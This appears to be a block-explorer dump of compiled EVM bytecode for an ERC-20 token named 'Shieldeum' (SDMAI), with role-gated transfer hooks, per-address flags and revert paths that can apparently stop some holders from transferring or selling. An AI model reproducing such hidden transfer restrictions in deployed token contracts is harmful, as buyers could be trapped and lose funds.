926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b505050565b505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200065a826200060f565b810181811067ffffffffffffffff821117156200067c576200067b62000620565b5b80604052505050565b600062000691620005f1565b90506200069f82826200064f565b919050565b600067ffffffffffffffff821115620006c257620006c162000620565b5b620006cd826200060f565b9050602081019050919050565b60005b83811015620006fa578082015181840152602081019050620006dd565b60008484015250505050565b60006200071d6200071784620006a4565b62000685565b9050828152602081018484840111156200073c576200073b6200060a565b5b62000749848285620006da565b509392505050565b600082601f83011262000769576200076862000605565b5b81516200077b84826020860162000706565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007b18262000784565b9050919050565b620007c381620007a4565b8114620007cf57600080fd5b50565b600081519050620007e381620007b8565b92915050565b6000819050919050565b620007fe81620007e9565b81146200080a57600080fd5b50565b6000815190506200081e81620007f3565b92915050565b60008060008060808587031215620008415762000840620005fb565b5b600085015167ffffffffffffffff81111562000862576200086162000600565b5b620008708782880162000751565b94505060206200088387828801620007d2565b935050604085015167ffffffffffffffff811115620008a757620008a662000600565b5b620008b58782880162000751565b9250506060620008c8878288016200080d565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200092757607f821691505b6020821081036200093d576200093c620008df565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009a77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000968565b620009b3868362000968565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009f6620009f0620009ea84620007e9565b620009cb565b620007e9565b9050919050565b6000819050919050565b62000a1283620009d5565b62000a2a62000a2182620009fd565b84845462000975565b825550505050565b600090565b62000a4162000a32565b62000a4e81848462000a07565b505050565b5b8181101562000a765762000a6a60008262000a37565b60018101905062000a54565b5050565b601f82111562000ac55762000a8f8162000943565b62000a9a8462000958565b8101602085101562000aaa578190505b62000ac262000ab98562000958565b83018262000a53565b50505b505050565b600082821c905092915050565b600062000aea6000198460080262000aca565b1980831691505092915050565b600062000b05838362000ad7565b9150826002028217905092915050565b62000b2082620008d4565b67ffffffffffffffff81111562000b3c5762000b3b62000620565b5b62000b4882546200090e565b62000b5582828562000a7a565b600060209050601f83116001811462000b8d576000841562000b78578287015190505b62000b84858262000af7565b86555062000bf4565b601f19841662000b9d8662000943565b60005b8281101562000bc75784890151825560018201915060208501945060208101905062000ba0565b8683101562000be7578489015162000be3601f89168262000ad7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c8a5780860481111562000c625762000c6162000bfc565b5b600185161562000c725780820291505b808102905062000c828562000c2b565b945062000c42565b94509492505050565b60008262000ca5576001905062000d78565b8162000cb5576000905062000d78565b816001811462000cce576002811462000cd95762000d0f565b600191505062000d78565b60ff84111562000cee5762000ced62000bfc565b5b8360020a91508482111562000d085762000d0762000bfc565b5b5062000d78565b5060208310610133831016604e8410600b841016171562000d495782820a90508381111562000d435762000d4262000bfc565b5b62000d78565b62000d58848484600162000c38565b9250905081840481111562000d725762000d7162000bfc565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d9982620007e9565b915062000da68362000d7f565b925062000dd57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c93565b905092915050565b600062000dea82620007e9565b915062000df783620007e9565b925082820262000e0781620007e9565b9150828204841483151762000e215762000e2062000bfc565b5b5092915050565b60006020828403121562000e415762000e40620005fb565b5b600062000e5184828501620007d2565b91505092915050565b62000e6581620007a4565b82525050565b600060408201905062000e82600083018562000e5a565b62000e91602083018462000e5a565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000ee1601f8362000e98565b915062000eee8262000ea9565b602082019050919050565b6000602082019050818103600083015262000f148162000ed2565b9050919050565b600062000f2882620007e9565b915062000f3583620007e9565b925082820190508082111562000f505762000f4f62000bfc565b5b92915050565b62000f6181620007e9565b82525050565b600060208201905062000f7e600083018462000f56565b92915050565b6135708062000f946000396000f3fe608060405234801561001057600080fd5b50600436106101cf5760003560e01c80634f66276b116101045780639e816a08116100a2578063bc225a6a11610071578063bc225a6a1461057a578063d547741f14610596578063dd62ed3e146105b2578063fbcc663e146105e2576101cf565b80639e816a08146104ce578063a457c2d7146104ea578063a9059cbb1461051a578063bbfb6bb11461054a576101cf565b806391d14854116100de57806391d1485414610434578063955e19e21461046457806395d89b4114610480578063988762c61461049e576101cf565b80634f66276b146103cc57806370a08231146103e85780637aab256c14610418576101cf565b80632f2ff15d1161017157806336568abe1161014b57806336568abe1461034657806339509351146103625780633d070c4d14610392578063478606b5146103b0576101cf565b80632f2ff15d146102dc578063313ce567146102f857806333f3d62814610316576101cf565b806318160ddd116101ad57806318160ddd1461024057806323b872dd1461025e578063248a9ca31461028e5780632a0acc6a146102be576101cf565b806306fdde03146101d4578063095ea7b3146101f2578063175c4ef814610222575b600080fd5b6101dc6105fe565b6040516101e991906123f3565b60405180910390f35b61020c600480360381019061020791906124bd565b610690565b6040516102199190612518565b60405180910390f35b61022a6106ae565b604051610237919061254c565b60405180910390f35b6102486106d2565b6040516102559190612576565b60405180910390f35b61027860048036038101906102739190612591565b6106dc565b6040516102859190612518565b60405180910390f35b6102a860048036038101906102a39190612610565b6107d4565b6040516102b5919061254c565b60405180910390f35b6102c66107f3565b6040516102d3919061254c565b60405180910390f35b6102f660048036038101906102f1919061263d565b6107fa565b005b61030061081e565b60405161030d9190612699565b60405180910390f35b610330600480360381019061032b91906124bd565b610827565b60405161033d9190612518565b60405180910390f35b610360600480360381019061035b919061263d565b6108c5565b005b61037c600480360381019061037791906124bd565b61095e565b6040516103899190612518565b60405180910390f35b61039a610a0a565b6040516103a79190612576565b60405180910390f35b6103ca60048036038101906103c591906126b4565b610a10565b005b6103e660048036038101906103e191906126b4565b610a80565b005b61040260048036038101906103fd91906126b4565b610af1565b60405161040f9190612576565b60405180910390f35b610432600480360381019061042d9190612816565b610b3a565b005b61044e6004803603810190610449919061263d565b610c25565b60405161045b9190612518565b60405180910390f35b61047e60048036038101906104799190612885565b610c8f565b005b610488610ce6565b60405161049591906123f3565b60405180910390f35b6104b860048036038101906104b3919061263d565b610d78565b6040516104c59190612576565b60405180910390f35b6104e860048036038101906104e3919061298d565b610df2565b005b61050460048036038101906104ff91906124bd565b610f66565b6040516105119190612518565b60405180910390f35b610534600480360381019061052f91906124bd565b611051565b6040516105419190612518565b60405180910390f35b610564600480360381019061055f919061263d565b61106f565b6040516105719190612576565b60405180910390f35b610594600480360381019061058f91906126b4565b6110e9565b005b6105b060048036038101906105ab919061263d565b61115a565b005b6105cc60048036038101906105c791906129fc565b61117e565b6040516105d99190612576565b60405180910390f35b6105fc60048036038101906105f791906126b4565b611205565b005b60606008805461060d90612a6b565b80601f016020809104026020016040519081016040528092919081815260200182805461063990612a6b565b80156106865780601f1061065b57610100808354040283529160200191610686565b820191906000526020600020905b81548152906001019060200180831161066957829003601f168201915b5050505050905090565b60006106a461069d611276565b848461127e565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b6000600754905090565b60006106e98484846113e2565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610734611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ab90612b0e565b60405180910390fd5b6107c8856107c0611276565b85840361127e565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b6000801b81565b6000801b61080f8161080a611276565b611690565b610819838361172d565b505050565b60006012905090565b60008060001b61083e81610839611276565b611690565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610879929190612b3d565b6020604051808303816000875af1158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc9190612b92565b91505092915050565b6000801b6108da816108d5611276565b611690565b6108e2611276565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094690612c31565b60405180910390fd5b610959838361180d565b505050565b6000610a0061096b611276565b848460066000610979611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109fb9190612c80565b61127e565b6001905092915050565b60045481565b6000801b610a2581610a20611276565b611690565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b610a9581610a90611276565b611690565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000801b610b4f81610b4a611276565b611690565b600080610b5b846118ee565b809250819350505060001515811515148015610b9657507f545241444552000000000000000000000000000000000000000000000000000086145b15610bd857846040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610bcf9190612cb4565b60405180910390fd5b610c1d7f545241444552000000000000000000000000000000000000000000000000000086610c18670de0b6b3a764000086611a0990919063ffffffff16565b611a1f565b505050505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000801b610ca481610c9f611276565b611690565b60008210158015610cd457507f545241444552000000000000000000000000000000000000000000000000000083145b15610ce157816004819055505b505050565b606060098054610cf590612a6b565b80601f0160208091040260200160405190810160405280929190818152602001828054610d2190612a6b565b8015610d6e5780601f10610d4357610100808354040283529160200191610d6e565b820191906000526020600020905b815481529060010190602001808311610d5157829003601f168201915b5050505050905090565b6000610dea670de0b6b3a764000060008086815260200190815260200160002060020160010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e90919063ffffffff16565b905092915050565b6000801b610e0781610e02611276565b611690565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7d9190612cfb565b60ff16905060005b85518160ff161015610f5d57600082600a610ea09190612e5b565b86610eab9190612ea6565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610edf57610ede612ee8565b5b6020026020010151836040518363ffffffff1660e01b8152600401610f05929190612b3d565b6020604051808303816000875af1158015610f24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f489190612b92565b50508080610f5590612f17565b915050610e85565b50505050505050565b60008060066000610f75611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102990612fb2565b60405180910390fd5b61104661103d611276565b8585840361127e565b600191505092915050565b600061106561105e611276565b84846113e2565b6001905092915050565b60006110e1670de0b6b3a764000060008086815260200190815260200160002060020160000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e90919063ffffffff16565b905092915050565b6000801b6110fe816110f9611276565b611690565b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b61116f8161116a611276565b611690565b611179838361180d565b505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000801b61121a81611215611276565b611690565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e490613044565b60405180910390fd5b6112f78383611a94565b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113d59190612576565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611451576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611448906130d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613168565b60405180910390fd5b6114ec7f5452414445520000000000000000000000000000000000000000000000000000848484611aa2565b6114f7838383611af4565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611575906131fa565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116139190612c80565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116779190612576565b60405180910390a361168a848484611af9565b50505050565b61169a8282610c25565b611729576116bf8173ffffffffffffffffffffffffffffffffffffffff166014611afe565b6116cd8360001c6020611afe565b6040516020016116de9291906132ee565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172091906123f3565b60405180910390fd5b5050565b6117378282610c25565b61180957600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117ae611276565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6118178282610c25565b156118ea57600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061188f611276565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60008060005b83518110156119fb576000603085838151811061191457611913612ee8565b5b602001015160f81c60f81b60f81c61192c9190613328565b60ff16108061196a57506009603085838151811061194d5761194c612ee8565b5b602001015160f81c60f81b60f81c6119659190613328565b60ff16115b1561197c576000809250925050611a04565b600181855161198b919061335d565b611995919061335d565b600a6119a19190612e5b565b60308583815181106119b6576119b5612ee8565b5b602001015160f81c60f81b60f81c6119ce9190613328565b60ff166119db9190612ea6565b836119e69190612c80565b925080806119f390613391565b9150506118f4565b50816001915091505b915091565b60008183611a179190612ea6565b905092915050565b8060008085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008183611a8c9190613408565b905092915050565b611a9e8282611d3a565b5050565b611acd7f54524144455200000000000000000000000000000000000000000000000000008484611e34565b611ad984848484611eab565b6000811115611aee57611aed84848361203f565b5b50505050565b505050565b505050565b606060006002836002611b119190612ea6565b611b1b9190612c80565b67ffffffffffffffff811115611b3457611b336126eb565b5b6040519080825280601f01601f191660200182016040528015611b665781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611b9e57611b9d612ee8565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611c0257611c01612ee8565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002611c429190612ea6565b611c4c9190612c80565b90505b6001811115611cec577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611c8e57611c8d612ee8565b5b1a60f81b828281518110611ca557611ca4612ee8565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080611ce590613439565b9050611c4f565b5060008414611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d27906134ae565b60405180910390fd5b8091505092915050565b603260045403611e3057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e2f57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1c9061351a565b60405180910390fd5b611e2e826121a8565b5b5b5050565b611e3e8383610c25565b611e6d57611e6c7f54524144455200000000000000000000000000000000000000000000000000008361172d565b5b611e778382610c25565b611ea657611ea57f54524144455200000000000000000000000000000000000000000000000000008261172d565b5b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611f2757507f545241444552000000000000000000000000000000000000000000000000000084145b15611f3757611f3683826121ab565b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f9657506032600454145b1561203957611fa4826122cb565b1561203857600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661203757816040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161202e9190612cb4565b60405180910390fd5b5b5b50505050565b600080600085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006121038360008088815260200190815260200160002060020160010160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ee90919063ffffffff16565b90506000811180156121155750600082115b156121a15781811061218a577f5452414445520000000000000000000000000000000000000000000000000000850361218557836040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161217c9190612cb4565b60405180910390fd5b6121a0565b600083111561219f5761219e858583612304565b5b5b5b5050505050565b50565b6000612235826000807f5452414445520000000000000000000000000000000000000000000000000000815260200190815260200160002060020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e90919063ffffffff16565b9050600081116122c6576064600454036122c557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146122c45760008211156122c357826040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016122ba9190612cb4565b60405180910390fd5b5b5b5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600081836122fc9190612c80565b905092915050565b8060008085815260200190815260200160002060020160010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561239d578082015181840152602081019050612382565b60008484015250505050565b6000601f19601f8301169050919050565b60006123c582612363565b6123cf818561236e565b93506123df81856020860161237f565b6123e8816123a9565b840191505092915050565b6000602082019050818103600083015261240d81846123ba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061245482612429565b9050919050565b61246481612449565b811461246f57600080fd5b50565b6000813590506124818161245b565b92915050565b6000819050919050565b61249a81612487565b81146124a557600080fd5b50565b6000813590506124b781612491565b92915050565b600080604083850312156124d4576124d361241f565b5b60006124e285828601612472565b92505060206124f3858286016124a8565b9150509250929050565b60008115159050919050565b612512816124fd565b82525050565b600060208201905061252d6000830184612509565b92915050565b6000819050919050565b61254681612533565b82525050565b6000602082019050612561600083018461253d565b92915050565b61257081612487565b82525050565b600060208201905061258b6000830184612567565b92915050565b6000806000606084860312156125aa576125a961241f565b5b60006125b886828701612472565b93505060206125c986828701612472565b92505060406125da868287016124a8565b9150509250925092565b6125ed81612533565b81146125f857600080fd5b50565b60008135905061260a816125e4565b92915050565b6000602082840312156126265761262561241f565b5b6000612634848285016125fb565b91505092915050565b600080604083850312156126545761265361241f565b5b6000612662858286016125fb565b925050602061267385828601612472565b9150509250929050565b600060ff82169050919050565b6126938161267d565b82525050565b60006020820190506126ae600083018461268a565b92915050565b6000602082840312156126ca576126c961241f565b5b60006126d884828501612472565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612723826123a9565b810181811067ffffffffffffffff82111715612742576127416126eb565b5b80604052505050565b6000612755612415565b9050612761828261271a565b919050565b600067ffffffffffffffff821115612781576127806126eb565b5b61278a826123a9565b9050602081019050919050565b82818337600083830152505050565b60006127b96127b484612766565b61274b565b9050828152602081018484840111156127d5576127d46126e6565b5b6127e0848285612797565b509392505050565b600082601f8301126127fd576127fc6126e1565b5b813561280d8482602086016127a6565b91505092915050565b60008060006060848603121561282f5761282e61241f565b5b600061283d868287016125fb565b935050602061284e86828701612472565b925050604084013567ffffffffffffffff81111561286f5761286e612424565b5b61287b868287016127e8565b9150509250925092565b6000806040838503121561289c5761289b61241f565b5b60006128aa858286016125fb565b92505060206128bb858286016124a8565b9150509250929050565b600067ffffffffffffffff8211156128e0576128df6126eb565b5b602082029050602081019050919050565b600080fd5b6000612909612904846128c5565b61274b565b9050808382526020820190506020840283018581111561292c5761292b6128f1565b5b835b8181101561295557806129418882612472565b84526020840193505060208101905061292e565b5050509392505050565b600082601f830112612974576129736126e1565b5b81356129848482602086016128f6565b91505092915050565b6000806000606084860312156129a6576129a561241f565b5b60006129b486828701612472565b935050602084013567ffffffffffffffff8111156129d5576129d4612424565b5b6129e18682870161295f565b92505060406129f2868287016124a8565b9150509250925092565b60008060408385031215612a1357612a1261241f565b5b6000612a2185828601612472565b9250506020612a3285828601612472565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612a8357607f821691505b602082108103612a9657612a95612a3c565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000612af860258361236e565b9150612b0382612a9c565b604082019050919050565b60006020820190508181036000830152612b2781612aeb565b9050919050565b612b3781612449565b82525050565b6000604082019050612b526000830185612b2e565b612b5f6020830184612567565b9392505050565b612b6f816124fd565b8114612b7a57600080fd5b50565b600081519050612b8c81612b66565b92915050565b600060208284031215612ba857612ba761241f565b5b6000612bb684828501612b7d565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612c1b602f8361236e565b9150612c2682612bbf565b604082019050919050565b60006020820190508181036000830152612c4a81612c0e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8b82612487565b9150612c9683612487565b9250828201905080821115612cae57612cad612c51565b5b92915050565b6000602082019050612cc96000830184612b2e565b92915050565b612cd88161267d565b8114612ce357600080fd5b50565b600081519050612cf581612ccf565b92915050565b600060208284031215612d1157612d1061241f565b5b6000612d1f84828501612ce6565b91505092915050565b60008160011c9050919050565b6000808291508390505b6001851115612d7f57808604811115612d5b57612d5a612c51565b5b6001851615612d6a5780820291505b8081029050612d7885612d28565b9450612d3f565b94509492505050565b600082612d985760019050612e54565b81612da65760009050612e54565b8160018114612dbc5760028114612dc657612df5565b6001915050612e54565b60ff841115612dd857612dd7612c51565b5b8360020a915084821115612def57612dee612c51565b5b50612e54565b5060208310610133831016604e8410600b8410161715612e2a5782820a905083811115612e2557612e24612c51565b5b612e54565b612e378484846001612d35565b92509050818404811115612e4e57612e4d612c51565b5b81810290505b9392505050565b6000612e6682612487565b9150612e7183612487565b9250612e9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d88565b905092915050565b6000612eb182612487565b9150612ebc83612487565b9250828202612eca81612487565b91508282048414831517612ee157612ee0612c51565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612f228261267d565b915060ff8203612f3557612f34612c51565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612f9c60258361236e565b9150612fa782612f40565b604082019050919050565b60006020820190508181036000830152612fcb81612f8f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061302e60248361236e565b915061303982612fd2565b604082019050919050565b6000602082019050818103600083015261305d81613021565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130c060258361236e565b91506130cb82613064565b604082019050919050565b600060208201905081810360008301526130ef816130b3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061315260238361236e565b915061315d826130f6565b604082019050919050565b6000602082019050818103600083015261318181613145565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006131e460238361236e565b91506131ef82613188565b604082019050919050565b60006020820190508181036000830152613213816131d7565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b600061325b60178361321a565b915061326682613225565b601782019050919050565b600061327c82612363565b613286818561321a565b935061329681856020860161237f565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b60006132d860118361321a565b91506132e3826132a2565b601182019050919050565b60006132f98261324e565b91506133058285613271565b9150613310826132cb565b915061331c8284613271565b91508190509392505050565b60006133338261267d565b915061333e8361267d565b9250828203905060ff81111561335757613356612c51565b5b92915050565b600061336882612487565b915061337383612487565b925082820390508181111561338b5761338a612c51565b5b92915050565b600061339c82612487565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133ce576133cd612c51565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061341382612487565b915061341e83612487565b92508261342e5761342d6133d9565b5b828204905092915050565b600061344482612487565b91506000820361345757613456612c51565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b600061349860208361236e565b91506134a382613462565b602082019050919050565b600060208201905081810360008301526134c78161348b565b9050919050565b7f45524332303a20617070726f7665206572726f72000000000000000000000000600082015250565b600061350460148361236e565b915061350f826134ce565b602082019050919050565b60006020820190508181036000830152613533816134f7565b905091905056fea2646970667358221220b98dcb6839200a2a47661fc98ddbc620cd21b8f2932ebb797ed609b65e000a7064736f6c634300081100330000000000000000000000000000000000000000000000000000000000000080000000000000000000000000babdb0cd8507db8d61aa8b42d8896f9ebf8e02a800000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000009536869656c6465756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553444d4149000000000000000000000000000000000000000000000000000000

Deployed Bytecode

